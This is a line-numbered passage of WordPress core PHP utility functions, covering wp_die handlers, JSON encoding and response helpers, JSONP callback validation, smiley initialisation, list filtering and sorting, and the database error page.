2871 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
2872 <meta name="viewport" content="width=device-width">
2873 <?php
2874 if ( function_exists( 'wp_no_robots' ) ) {
2875 wp_no_robots();
2876 }
2877 ?>
2878 <title><?php echo $title ?></title>
2879 <style type="text/css">
2880 html {
2881 background: #f1f1f1;
2882 }
2883 body {
2884 background: #fff;
2885 color: #444;
2886 font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
2887 margin: 2em auto;
2888 padding: 1em 2em;
2889 max-width: 700px;
2890 -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);
2891 box-shadow: 0 1px 3px rgba(0,0,0,0.13);
2892 }
2893 h1 {
2894 border-bottom: 1px solid #dadada;
2895 clear: both;
2896 color: #666;
2897 font-size: 24px;
2898 margin: 30px 0 0 0;
2899 padding: 0;
2900 padding-bottom: 7px;
2901 }
2902 #error-page {
2903 margin-top: 50px;
2904 }
2905 #error-page p {
2906 font-size: 14px;
2907 line-height: 1.5;
2908 margin: 25px 0 20px;
2909 }
2910 #error-page code {
2911 font-family: Consolas, Monaco, monospace;
2912 }
2913 ul li {
2914 margin-bottom: 10px;
2915 font-size: 14px ;
2916 }
2917 a {
2918 color: #0073aa;
2919 }
2920 a:hover,
2921 a:active {
2922 color: #00a0d2;
2923 }
2924 a:focus {
2925 color: #124964;
2926 -webkit-box-shadow:
2927 0 0 0 1px #5b9dd9,
2928 0 0 2px 1px rgba(30, 140, 190, .8);
2929 box-shadow:
2930 0 0 0 1px #5b9dd9,
2931 0 0 2px 1px rgba(30, 140, 190, .8);
2932 outline: none;
2933 }
2934 .button {
2935 background: #f7f7f7;
2936 border: 1px solid #ccc;
2937 color: #555;
2938 display: inline-block;
2939 text-decoration: none;
2940 font-size: 13px;
2941 line-height: 26px;
2942 height: 28px;
2943 margin: 0;
2944 padding: 0 10px 1px;
2945 cursor: pointer;
2946 -webkit-border-radius: 3px;
2947 -webkit-appearance: none;
2948 border-radius: 3px;
2949 white-space: nowrap;
2950 -webkit-box-sizing: border-box;
2951 -moz-box-sizing: border-box;
2952 box-sizing: border-box;
2953
2954 -webkit-box-shadow: 0 1px 0 #ccc;
2955 box-shadow: 0 1px 0 #ccc;
2956 vertical-align: top;
2957 }
2958
2959 .button.button-large {
2960 height: 30px;
2961 line-height: 28px;
2962 padding: 0 12px 2px;
2963 }
2964
2965 .button:hover,
2966 .button:focus {
2967 background: #fafafa;
2968 border-color: #999;
2969 color: #23282d;
2970 }
2971
2972 .button:focus {
2973 border-color: #5b9dd9;
2974 -webkit-box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
2975 box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
2976 outline: none;
2977 }
2978
2979 .button:active {
2980 background: #eee;
2981 border-color: #999;
2982 -webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
2983 box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
2984 -webkit-transform: translateY(1px);
2985 -ms-transform: translateY(1px);
2986 transform: translateY(1px);
2987 }
2988
2989 <?php
2990 if ( 'rtl' == $text_direction ) {
2991 echo 'body { font-family: Tahoma, Arial; }';
2992 }
2993 ?>
2994 </style>
2995</head>
2996<body id="error-page">
2997<?php endif; // ! did_action( 'admin_head' ) ?>
2998 <?php echo $message; ?>
2999</body>
3000</html>
3001<?php
3002 die();
3003}
3004
3005/**
3006 * Kill WordPress execution and display XML message with error message.
3007 *
3008 * This is the handler for wp_die when processing XMLRPC requests.
3009 *
3010 * @since 3.2.0
3011 * @access private
3012 *
3013 * @global wp_xmlrpc_server $wp_xmlrpc_server
3014 *
3015 * @param string $message Error message.
3016 * @param string $title Optional. Error title. Default empty.
3017 * @param string|array $args Optional. Arguments to control behavior. Default empty array.
3018 */
3019function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {
3020 global $wp_xmlrpc_server;
3021 $defaults = array( 'response' => 500 );
3022
3023 $r = wp_parse_args($args, $defaults);
3024
3025 if ( $wp_xmlrpc_server ) {
3026 $error = new IXR_Error( $r['response'] , $message);
3027 $wp_xmlrpc_server->output( $error->getXml() );
3028 }
3029 die();
3030}
3031
3032/**
3033 * Kill WordPress ajax execution.
3034 *
3035 * This is the handler for wp_die when processing Ajax requests.
3036 *
3037 * @since 3.4.0
3038 * @access private
3039 *
3040 * @param string $message Error message.
3041 * @param string $title Optional. Error title (unused). Default empty.
3042 * @param string|array $args Optional. Arguments to control behavior. Default empty array.
3043 */
3044function _ajax_wp_die_handler( $message, $title = '', $args = array() ) {
3045 $defaults = array(
3046 'response' => 200,
3047 );
3048 $r = wp_parse_args( $args, $defaults );
3049
3050 if ( ! headers_sent() && null !== $r['response'] ) {
3051 status_header( $r['response'] );
3052 }
3053
3054 if ( is_scalar( $message ) )
3055 die( (string) $message );
3056 die( '0' );
3057}
3058
3059/**
3060 * Kill WordPress execution.
3061 *
3062 * This is the handler for wp_die when processing APP requests.
3063 *
3064 * @since 3.4.0
3065 * @access private
3066 *
3067 * @param string $message Optional. Response to print. Default empty.
3068 */
3069function _scalar_wp_die_handler( $message = '' ) {
3070 if ( is_scalar( $message ) )
3071 die( (string) $message );
3072 die();
3073}
3074
3075/**
3076 * Encode a variable into JSON, with some sanity checks.
3077 *
3078 * @since 4.1.0
3079 *
3080 * @param mixed $data Variable (usually an array or object) to encode as JSON.
3081 * @param int $options Optional. Options to be passed to json_encode(). Default 0.
3082 * @param int $depth Optional. Maximum depth to walk through $data. Must be
3083 * greater than 0. Default 512.
3084 * @return string|false The JSON encoded string, or false if it cannot be encoded.
3085 */
3086function wp_json_encode( $data, $options = 0, $depth = 512 ) {
3087 /*
3088 * json_encode() has had extra params added over the years.
3089 * $options was added in 5.3, and $depth in 5.5.
3090 * We need to make sure we call it with the correct arguments.
3091 */
3092 if ( version_compare( PHP_VERSION, '5.5', '>=' ) ) {
3093 $args = array( $data, $options, $depth );
3094 } elseif ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
3095 $args = array( $data, $options );
3096 } else {
3097 $args = array( $data );
3098 }
3099
3100 // Prepare the data for JSON serialization.
3101 $args[0] = _wp_json_prepare_data( $data );
3102
3103 $json = @call_user_func_array( 'json_encode', $args );
3104
3105 // If json_encode() was successful, no need to do more sanity checking.
3106 // ... unless we're in an old version of PHP, and json_encode() returned
3107 // a string containing 'null'. Then we need to do more sanity checking.
3108 if ( false !== $json && ( version_compare( PHP_VERSION, '5.5', '>=' ) || false === strpos( $json, 'null' ) ) ) {
3109 return $json;
3110 }
3111
3112 try {
3113 $args[0] = _wp_json_sanity_check( $data, $depth );
3114 } catch ( Exception $e ) {
3115 return false;
3116 }
3117
3118 return call_user_func_array( 'json_encode', $args );
3119}
3120
3121/**
3122 * Perform sanity checks on data that shall be encoded to JSON.
3123 *
3124 * @ignore
3125 * @since 4.1.0
3126 * @access private
3127 *
3128 * @see wp_json_encode()
3129 *
3130 * @param mixed $data Variable (usually an array or object) to encode as JSON.
3131 * @param int $depth Maximum depth to walk through $data. Must be greater than 0.
3132 * @return mixed The sanitized data that shall be encoded to JSON.
3133 */
3134function _wp_json_sanity_check( $data, $depth ) {
3135 if ( $depth < 0 ) {
3136 throw new Exception( 'Reached depth limit' );
3137 }
3138
3139 if ( is_array( $data ) ) {
3140 $output = array();
3141 foreach ( $data as $id => $el ) {
3142 // Don't forget to sanitize the ID!
3143 if ( is_string( $id ) ) {
3144 $clean_id = _wp_json_convert_string( $id );
3145 } else {
3146 $clean_id = $id;
3147 }
3148
3149 // Check the element type, so that we're only recursing if we really have to.
3150 if ( is_array( $el ) || is_object( $el ) ) {
3151 $output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 );
3152 } elseif ( is_string( $el ) ) {
3153 $output[ $clean_id ] = _wp_json_convert_string( $el );
3154 } else {
3155 $output[ $clean_id ] = $el;
3156 }
3157 }
3158 } elseif ( is_object( $data ) ) {
3159 $output = new stdClass;
3160 foreach ( $data as $id => $el ) {
3161 if ( is_string( $id ) ) {
3162 $clean_id = _wp_json_convert_string( $id );
3163 } else {
3164 $clean_id = $id;
3165 }
3166
3167 if ( is_array( $el ) || is_object( $el ) ) {
3168 $output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 );
3169 } elseif ( is_string( $el ) ) {
3170 $output->$clean_id = _wp_json_convert_string( $el );
3171 } else {
3172 $output->$clean_id = $el;
3173 }
3174 }
3175 } elseif ( is_string( $data ) ) {
3176 return _wp_json_convert_string( $data );
3177 } else {
3178 return $data;
3179 }
3180
3181 return $output;
3182}
3183
3184/**
3185 * Convert a string to UTF-8, so that it can be safely encoded to JSON.
3186 *
3187 * @ignore
3188 * @since 4.1.0
3189 * @access private
3190 *
3191 * @see _wp_json_sanity_check()
3192 *
3193 * @staticvar bool $use_mb
3194 *
3195 * @param string $string The string which is to be converted.
3196 * @return string The checked string.
3197 */
3198function _wp_json_convert_string( $string ) {
3199 static $use_mb = null;
3200 if ( is_null( $use_mb ) ) {
3201 $use_mb = function_exists( 'mb_convert_encoding' );
3202 }
3203
3204 if ( $use_mb ) {
3205 $encoding = mb_detect_encoding( $string, mb_detect_order(), true );
3206 if ( $encoding ) {
3207 return mb_convert_encoding( $string, 'UTF-8', $encoding );
3208 } else {
3209 return mb_convert_encoding( $string, 'UTF-8', 'UTF-8' );
3210 }
3211 } else {
3212 return wp_check_invalid_utf8( $string, true );
3213 }
3214}
3215
3216/**
3217 * Prepares response data to be serialized to JSON.
3218 *
3219 * This supports the JsonSerializable interface for PHP 5.2-5.3 as well.
3220 *
3221 * @ignore
3222 * @since 4.4.0
3223 * @access private
3224 *
3225 * @param mixed $data Native representation.
3226 * @return bool|int|float|null|string|array Data ready for `json_encode()`.
3227 */
3228function _wp_json_prepare_data( $data ) {
3229 if ( ! defined( 'WP_JSON_SERIALIZE_COMPATIBLE' ) || WP_JSON_SERIALIZE_COMPATIBLE === false ) {
3230 return $data;
3231 }
3232
3233 switch ( gettype( $data ) ) {
3234 case 'boolean':
3235 case 'integer':
3236 case 'double':
3237 case 'string':
3238 case 'NULL':
3239 // These values can be passed through.
3240 return $data;
3241
3242 case 'array':
3243 // Arrays must be mapped in case they also return objects.
3244 return array_map( '_wp_json_prepare_data', $data );
3245
3246 case 'object':
3247 // If this is an incomplete object (__PHP_Incomplete_Class), bail.
3248 if ( ! is_object( $data ) ) {
3249 return null;
3250 }
3251
3252 if ( $data instanceof JsonSerializable ) {
3253 $data = $data->jsonSerialize();
3254 } else {
3255 $data = get_object_vars( $data );
3256 }
3257
3258 // Now, pass the array (or whatever was returned from jsonSerialize through).
3259 return _wp_json_prepare_data( $data );
3260
3261 default:
3262 return null;
3263 }
3264}
3265
3266/**
3267 * Send a JSON response back to an Ajax request.
3268 *
3269 * @since 3.5.0
3270 * @since 4.7.0 The `$status_code` parameter was added.
3271 *
3272 * @param mixed $response Variable (usually an array or object) to encode as JSON,
3273 * then print and die.
3274 * @param int $status_code The HTTP status code to output.
3275 */
3276function wp_send_json( $response, $status_code = null ) {
3277 @header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
3278 if ( null !== $status_code ) {
3279 status_header( $status_code );
3280 }
3281 echo wp_json_encode( $response );
3282
3283 if ( wp_doing_ajax() ) {
3284 wp_die( '', '', array(
3285 'response' => null,
3286 ) );
3287 } else {
3288 die;
3289 }
3290}
3291
3292/**
3293 * Send a JSON response back to an Ajax request, indicating success.
3294 *
3295 * @since 3.5.0
3296 * @since 4.7.0 The `$status_code` parameter was added.
3297 *
3298 * @param mixed $data Data to encode as JSON, then print and die.
3299 * @param int $status_code The HTTP status code to output.
3300 */
3301function wp_send_json_success( $data = null, $status_code = null ) {
3302 $response = array( 'success' => true );
3303
3304 if ( isset( $data ) )
3305 $response['data'] = $data;
3306
3307 wp_send_json( $response, $status_code );
3308}
3309
3310/**
3311 * Send a JSON response back to an Ajax request, indicating failure.
3312 *
3313 * If the `$data` parameter is a WP_Error object, the errors
3314 * within the object are processed and output as an array of error
3315 * codes and corresponding messages. All other types are output
3316 * without further processing.
3317 *
3318 * @since 3.5.0
3319 * @since 4.1.0 The `$data` parameter is now processed if a WP_Error object is passed in.
3320 * @since 4.7.0 The `$status_code` parameter was added.
3321 *
3322 * @param mixed $data Data to encode as JSON, then print and die.
3323 * @param int $status_code The HTTP status code to output.
3324 */
3325function wp_send_json_error( $data = null, $status_code = null ) {
3326 $response = array( 'success' => false );
3327
3328 if ( isset( $data ) ) {
3329 if ( is_wp_error( $data ) ) {
3330 $result = array();
3331 foreach ( $data->errors as $code => $messages ) {
3332 foreach ( $messages as $message ) {
3333 $result[] = array( 'code' => $code, 'message' => $message );
3334 }
3335 }
3336
3337 $response['data'] = $result;
3338 } else {
3339 $response['data'] = $data;
3340 }
3341 }
3342
3343 wp_send_json( $response, $status_code );
3344}
3345
3346/**
3347 * Checks that a JSONP callback is a valid JavaScript callback.
3348 *
3349 * Only allows alphanumeric characters and the dot character in callback
3350 * function names. This helps to mitigate XSS attacks caused by directly
3351 * outputting user input.
3352 *
3353 * @since 4.6.0
3354 *
3355 * @param string $callback Supplied JSONP callback function.
3356 * @return bool True if valid callback, otherwise false.
3357 */
3358function wp_check_jsonp_callback( $callback ) {
3359 if ( ! is_string( $callback ) ) {
3360 return false;
3361 }
3362
3363 preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count );
3364
3365 return 0 === $illegal_char_count;
3366}
3367
3368/**
3369 * Retrieve the WordPress home page URL.
3370 *
3371 * If the constant named 'WP_HOME' exists, then it will be used and returned
3372 * by the function. This can be used to counter the redirection on your local
3373 * development environment.
3374 *
3375 * @since 2.2.0
3376 * @access private
3377 *
3378 * @see WP_HOME
3379 *
3380 * @param string $url URL for the home location.
3381 * @return string Homepage location.
3382 */
3383function _config_wp_home( $url = '' ) {
3384 if ( defined( 'WP_HOME' ) )
3385 return untrailingslashit( WP_HOME );
3386 return $url;
3387}
3388
3389/**
3390 * Retrieve the WordPress site URL.
3391 *
3392 * If the constant named 'WP_SITEURL' is defined, then the value in that
3393 * constant will always be returned. This can be used for debugging a site
3394 * on your localhost while not having to change the database to your URL.
3395 *
3396 * @since 2.2.0
3397 * @access private
3398 *
3399 * @see WP_SITEURL
3400 *
3401 * @param string $url URL to set the WordPress site location.
3402 * @return string The WordPress Site URL.
3403 */
3404function _config_wp_siteurl( $url = '' ) {
3405 if ( defined( 'WP_SITEURL' ) )
3406 return untrailingslashit( WP_SITEURL );
3407 return $url;
3408}
3409
3410/**
3411 * Delete the fresh site option.
3412 *
3413 * @since 4.7.0
3414 * @access private
3415 */
3416function _delete_option_fresh_site() {
3417 update_option( 'fresh_site', '0' );
3418}
3419
3420/**
3421 * Set the localized direction for MCE plugin.
3422 *
3423 * Will only set the direction to 'rtl', if the WordPress locale has
3424 * the text direction set to 'rtl'.
3425 *
3426 * Fills in the 'directionality' setting, enables the 'directionality'
3427 * plugin, and adds the 'ltr' button to 'toolbar1', formerly
3428 * 'theme_advanced_buttons1' array keys. These keys are then returned
3429 * in the $mce_init (TinyMCE settings) array.
3430 *
3431 * @since 2.1.0
3432 * @access private
3433 *
3434 * @param array $mce_init MCE settings array.
3435 * @return array Direction set for 'rtl', if needed by locale.
3436 */
3437function _mce_set_direction( $mce_init ) {
3438 if ( is_rtl() ) {
3439 $mce_init['directionality'] = 'rtl';
3440 $mce_init['rtl_ui'] = true;
3441
3442 if ( ! empty( $mce_init['plugins'] ) && strpos( $mce_init['plugins'], 'directionality' ) === false ) {
3443 $mce_init['plugins'] .= ',directionality';
3444 }
3445
3446 if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) {
3447 $mce_init['toolbar1'] .= ',ltr';
3448 }
3449 }
3450
3451 return $mce_init;
3452}
3453
3454
3455/**
3456 * Convert smiley code to the icon graphic file equivalent.
3457 *
3458 * You can turn off smilies, by going to the write setting screen and unchecking
3459 * the box, or by setting 'use_smilies' option to false or removing the option.
3460 *
3461 * Plugins may override the default smiley list by setting the $wpsmiliestrans
3462 * to an array, with the key the code the blogger types in and the value the
3463 * image file.
3464 *
3465 * The $wp_smiliessearch global is for the regular expression and is set each
3466 * time the function is called.
3467 *
3468 * The full list of smilies can be found in the function and won't be listed in
3469 * the description. Probably should create a Codex page for it, so that it is
3470 * available.
3471 *
3472 * @global array $wpsmiliestrans
3473 * @global array $wp_smiliessearch
3474 *
3475 * @since 2.2.0
3476 */
3477function smilies_init() {
3478 global $wpsmiliestrans, $wp_smiliessearch;
3479
3480 // don't bother setting up smilies if they are disabled
3481 if ( !get_option( 'use_smilies' ) )
3482 return;
3483
3484 if ( !isset( $wpsmiliestrans ) ) {
3485 $wpsmiliestrans = array(
3486 ':mrgreen:' => 'mrgreen.png',
3487 ':neutral:' => "\xf0\x9f\x98\x90",
3488 ':twisted:' => "\xf0\x9f\x98\x88",
3489 ':arrow:' => "\xe2\x9e\xa1",
3490 ':shock:' => "\xf0\x9f\x98\xaf",
3491 ':smile:' => "\xf0\x9f\x99\x82",
3492 ':???:' => "\xf0\x9f\x98\x95",
3493 ':cool:' => "\xf0\x9f\x98\x8e",
3494 ':evil:' => "\xf0\x9f\x91\xbf",
3495 ':grin:' => "\xf0\x9f\x98\x80",
3496 ':idea:' => "\xf0\x9f\x92\xa1",
3497 ':oops:' => "\xf0\x9f\x98\xb3",
3498 ':razz:' => "\xf0\x9f\x98\x9b",
3499 ':roll:' => "\xf0\x9f\x99\x84",
3500 ':wink:' => "\xf0\x9f\x98\x89",
3501 ':cry:' => "\xf0\x9f\x98\xa5",
3502 ':eek:' => "\xf0\x9f\x98\xae",
3503 ':lol:' => "\xf0\x9f\x98\x86",
3504 ':mad:' => "\xf0\x9f\x98\xa1",
3505 ':sad:' => "\xf0\x9f\x99\x81",
3506 '8-)' => "\xf0\x9f\x98\x8e",
3507 '8-O' => "\xf0\x9f\x98\xaf",
3508 ':-(' => "\xf0\x9f\x99\x81",
3509 ':-)' => "\xf0\x9f\x99\x82",
3510 ':-?' => "\xf0\x9f\x98\x95",
3511 ':-D' => "\xf0\x9f\x98\x80",
3512 ':-P' => "\xf0\x9f\x98\x9b",
3513 ':-o' => "\xf0\x9f\x98\xae",
3514 ':-x' => "\xf0\x9f\x98\xa1",
3515 ':-|' => "\xf0\x9f\x98\x90",
3516 ';-)' => "\xf0\x9f\x98\x89",
3517 // This one transformation breaks regular text with frequency.
3518 // '8)' => "\xf0\x9f\x98\x8e",
3519 '8O' => "\xf0\x9f\x98\xaf",
3520 ':(' => "\xf0\x9f\x99\x81",
3521 ':)' => "\xf0\x9f\x99\x82",
3522 ':?' => "\xf0\x9f\x98\x95",
3523 ':D' => "\xf0\x9f\x98\x80",
3524 ':P' => "\xf0\x9f\x98\x9b",
3525 ':o' => "\xf0\x9f\x98\xae",
3526 ':x' => "\xf0\x9f\x98\xa1",
3527 ':|' => "\xf0\x9f\x98\x90",
3528 ';)' => "\xf0\x9f\x98\x89",
3529 ':!:' => "\xe2\x9d\x97",
3530 ':?:' => "\xe2\x9d\x93",
3531 );
3532 }
3533
3534 /**
3535 * Filters all the smilies.
3536 *
3537 * This filter must be added before `smilies_init` is run, as
3538 * it is normally only run once to setup the smilies regex.
3539 *
3540 * @since 4.7.0
3541 *
3542 * @param array $wpsmiliestrans List of the smilies.
3543 */
3544 $wpsmiliestrans = apply_filters('smilies', $wpsmiliestrans);
3545
3546 if (count($wpsmiliestrans) == 0) {
3547 return;
3548 }
3549
3550 /*
3551 * NOTE: we sort the smilies in reverse key order. This is to make sure
3552 * we match the longest possible smilie (:???: vs :?) as the regular
3553 * expression used below is first-match
3554 */
3555 krsort($wpsmiliestrans);
3556
3557 $spaces = wp_spaces_regexp();
3558
3559 // Begin first "subpattern"
3560 $wp_smiliessearch = '/(?<=' . $spaces . '|^)';
3561
3562 $subchar = '';
3563 foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
3564 $firstchar = substr($smiley, 0, 1);
3565 $rest = substr($smiley, 1);
3566
3567 // new subpattern?
3568 if ($firstchar != $subchar) {
3569 if ($subchar != '') {
3570 $wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern"
3571 $wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern"
3572 }
3573 $subchar = $firstchar;
3574 $wp_smiliessearch .= preg_quote($firstchar, '/') . '(?:';
3575 } else {
3576 $wp_smiliessearch .= '|';
3577 }
3578 $wp_smiliessearch .= preg_quote($rest, '/');
3579 }
3580
3581 $wp_smiliessearch .= ')(?=' . $spaces . '|$)/m';
3582
3583}
3584
3585/**
3586 * Merge user defined arguments into defaults array.
3587 *
3588 * This function is used throughout WordPress to allow for both string or array
3589 * to be merged into another array.
3590 *
3591 * @since 2.2.0
3592 * @since 2.3.0 `$args` can now also be an object.
3593 *
3594 * @param string|array|object $args Value to merge with $defaults.
3595 * @param array $defaults Optional. Array that serves as the defaults. Default empty.
3596 * @return array Merged user defined values with defaults.
3597 */
3598function wp_parse_args( $args, $defaults = '' ) {
3599 if ( is_object( $args ) )
3600 $r = get_object_vars( $args );
3601 elseif ( is_array( $args ) )
3602 $r =& $args;
3603 else
3604 wp_parse_str( $args, $r );
3605
3606 if ( is_array( $defaults ) )
3607 return array_merge( $defaults, $r );
3608 return $r;
3609}
3610
3611/**
3612 * Clean up an array, comma- or space-separated list of IDs.
3613 *
3614 * @since 3.0.0
3615 *
3616 * @param array|string $list List of ids.
3617 * @return array Sanitized array of IDs.
3618 */
3619function wp_parse_id_list( $list ) {
3620 if ( !is_array($list) )
3621 $list = preg_split('/[\s,]+/', $list);
3622
3623 return array_unique(array_map('absint', $list));
3624}
3625
3626/**
3627 * Clean up an array, comma- or space-separated list of slugs.
3628 *
3629 * @since 4.7.0
3630 *
3631 * @param array|string $list List of slugs.
3632 * @return array Sanitized array of slugs.
3633 */
3634function wp_parse_slug_list( $list ) {
3635 if ( ! is_array( $list ) ) {
3636 $list = preg_split( '/[\s,]+/', $list );
3637 }
3638
3639 foreach ( $list as $key => $value ) {
3640 $list[ $key ] = sanitize_title( $value );
3641 }
3642
3643 return array_unique( $list );
3644}
3645
3646/**
3647 * Extract a slice of an array, given a list of keys.
3648 *
3649 * @since 3.1.0
3650 *
3651 * @param array $array The original array.
3652 * @param array $keys The list of keys.
3653 * @return array The array slice.
3654 */
3655function wp_array_slice_assoc( $array, $keys ) {
3656 $slice = array();
3657 foreach ( $keys as $key )
3658 if ( isset( $array[ $key ] ) )
3659 $slice[ $key ] = $array[ $key ];
3660
3661 return $slice;
3662}
3663
3664/**
3665 * Determines if the variable is a numeric-indexed array.
3666 *
3667 * @since 4.4.0
3668 *
3669 * @param mixed $data Variable to check.
3670 * @return bool Whether the variable is a list.
3671 */
3672function wp_is_numeric_array( $data ) {
3673 if ( ! is_array( $data ) ) {
3674 return false;
3675 }
3676
3677 $keys = array_keys( $data );
3678 $string_keys = array_filter( $keys, 'is_string' );
3679 return count( $string_keys ) === 0;
3680}
3681
3682/**
3683 * Filters a list of objects, based on a set of key => value arguments.
3684 *
3685 * @since 3.0.0
3686 * @since 4.7.0 Uses WP_List_Util class.
3687 *
3688 * @param array $list An array of objects to filter
3689 * @param array $args Optional. An array of key => value arguments to match
3690 * against each object. Default empty array.
3691 * @param string $operator Optional. The logical operation to perform. 'or' means
3692 * only one element from the array needs to match; 'and'
3693 * means all elements must match; 'not' means no elements may
3694 * match. Default 'and'.
3695 * @param bool|string $field A field from the object to place instead of the entire object.
3696 * Default false.
3697 * @return array A list of objects or object fields.
3698 */
3699function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) {
3700 if ( ! is_array( $list ) ) {
3701 return array();
3702 }
3703
3704 $util = new WP_List_Util( $list );
3705
3706 $util->filter( $args, $operator );
3707
3708 if ( $field ) {
3709 $util->pluck( $field );
3710 }
3711
3712 return $util->get_output();
3713}
3714
3715/**
3716 * Filters a list of objects, based on a set of key => value arguments.
3717 *
3718 * @since 3.1.0
3719 * @since 4.7.0 Uses WP_List_Util class.
3720 *
3721 * @param array $list An array of objects to filter.
3722 * @param array $args Optional. An array of key => value arguments to match
3723 * against each object. Default empty array.
3724 * @param string $operator Optional. The logical operation to perform. 'AND' means
3725 * all elements from the array must match. 'OR' means only
3726 * one element needs to match. 'NOT' means no elements may
3727 * match. Default 'AND'.
3728 * @return array Array of found values.
3729 */
3730function wp_list_filter( $list, $args = array(), $operator = 'AND' ) {
3731 if ( ! is_array( $list ) ) {
3732 return array();
3733 }
3734
3735 $util = new WP_List_Util( $list );
3736 return $util->filter( $args, $operator );
3737}
3738
3739/**
3740 * Pluck a certain field out of each object in a list.
3741 *
3742 * This has the same functionality and prototype of
3743 * array_column() (PHP 5.5) but also supports objects.
3744 *
3745 * @since 3.1.0
3746 * @since 4.0.0 $index_key parameter added.
3747 * @since 4.7.0 Uses WP_List_Util class.
3748 *
3749 * @param array $list List of objects or arrays
3750 * @param int|string $field Field from the object to place instead of the entire object
3751 * @param int|string $index_key Optional. Field from the object to use as keys for the new array.
3752 * Default null.
3753 * @return array Array of found values. If `$index_key` is set, an array of found values with keys
3754 * corresponding to `$index_key`. If `$index_key` is null, array keys from the original
3755 * `$list` will be preserved in the results.
3756 */
3757function wp_list_pluck( $list, $field, $index_key = null ) {
3758 $util = new WP_List_Util( $list );
3759 return $util->pluck( $field, $index_key );
3760}
3761
3762/**
3763 * Sorts a list of objects, based on one or more orderby arguments.
3764 *
3765 * @since 4.7.0
3766 *
3767 * @param array $list An array of objects to filter.
3768 * @param string|array $orderby Optional. Either the field name to order by or an array
3769 * of multiple orderby fields as $orderby => $order.
3770 * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby
3771 * is a string.
3772 * @param bool $preserve_keys Optional. Whether to preserve keys. Default false.
3773 * @return array The sorted array.
3774 */
3775function wp_list_sort( $list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
3776 if ( ! is_array( $list ) ) {
3777 return array();
3778 }
3779
3780 $util = new WP_List_Util( $list );
3781 return $util->sort( $orderby, $order, $preserve_keys );
3782}
3783
3784/**
3785 * Determines if Widgets library should be loaded.
3786 *
3787 * Checks to make sure that the widgets library hasn't already been loaded.
3788 * If it hasn't, then it will load the widgets library and run an action hook.
3789 *
3790 * @since 2.2.0
3791 */
3792function wp_maybe_load_widgets() {
3793 /**
3794 * Filters whether to load the Widgets library.
3795 *
3796 * Passing a falsey value to the filter will effectively short-circuit
3797 * the Widgets library from loading.
3798 *
3799 * @since 2.8.0
3800 *
3801 * @param bool $wp_maybe_load_widgets Whether to load the Widgets library.
3802 * Default true.
3803 */
3804 if ( ! apply_filters( 'load_default_widgets', true ) ) {
3805 return;
3806 }
3807
3808 require_once( ABSPATH . WPINC . '/default-widgets.php' );
3809
3810 add_action( '_admin_menu', 'wp_widgets_add_menu' );
3811}
3812
3813/**
3814 * Append the Widgets menu to the themes main menu.
3815 *
3816 * @since 2.2.0
3817 *
3818 * @global array $submenu
3819 */
3820function wp_widgets_add_menu() {
3821 global $submenu;
3822
3823 if ( ! current_theme_supports( 'widgets' ) )
3824 return;
3825
3826 $submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' );
3827 ksort( $submenu['themes.php'], SORT_NUMERIC );
3828}
3829
3830/**
3831 * Flush all output buffers for PHP 5.2.
3832 *
3833 * Make sure all output buffers are flushed before our singletons are destroyed.
3834 *
3835 * @since 2.2.0
3836 */
3837function wp_ob_end_flush_all() {
3838 $levels = ob_get_level();
3839 for ($i=0; $i<$levels; $i++)
3840 ob_end_flush();
3841}
3842
3843/**
3844 * Load custom DB error or display WordPress DB error.
3845 *
3846 * If a file exists in the wp-content directory named db-error.php, then it will
3847 * be loaded instead of displaying the WordPress DB error. If it is not found,
3848 * then the WordPress DB error will be displayed instead.
3849 *
3850 * The WordPress DB error sets the HTTP status header to 500 to try to prevent
3851 * search engines from caching the message. Custom DB messages should do the
3852 * same.
3853 *
3854 * This function was backported to WordPress 2.3.2, but originally was added
3855 * in WordPress 2.5.0.
3856 *
3857 * @since 2.3.2
3858 *
3859 * @global wpdb $wpdb WordPress database abstraction object.
3860 */
3861function dead_db() {
3862 global $wpdb;
3863
3864 wp_load_translations_early();
3865
3866 // Load custom DB error template, if present.
3867 if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
3868 require_once( WP_CONTENT_DIR . '/db-error.php' );
3869 die();
3870 }
3871
3872 // If installing or in the admin, provide the verbose message.
3873 if ( wp_installing() || defined( 'WP_ADMIN' ) )
3874 wp_die($wpdb->error);
3875
3876 // Otherwise, be terse.
3877 status_header( 500 );
3878 nocache_headers();
3879 header( 'Content-Type: text/html; charset=utf-8' );
3880?>
3881<!DOCTYPE html>
3882<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
3883<head>
3884<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
3885 <title><?php _e( 'Database Error' ); ?></title>
3886
3887</head>
3888<body>
3889 <h1><?php _e( 'Error establishing a database connection' ); ?></h1>
3890</body>
3891</html>
3892<?php
3893 die();
3894}
3895
3896/**
3897 * Convert a value to non-negative integer.
3898 *
3899 * @since 2.5.0
3900 *
3901 * @param mixed $maybeint Data you wish to have converted to a non-negative integer.
3902 * @return int A non-negative integer.
3903 */
3904function absint( $maybeint ) {
3905 return abs( intval( $maybeint ) );
3906}
3907
3908/**
3909 * Mark a function as deprecated and inform when it has been used.
3910 *
3911 * There is a {@see 'hook deprecated_function_run'} that will be called that can be used
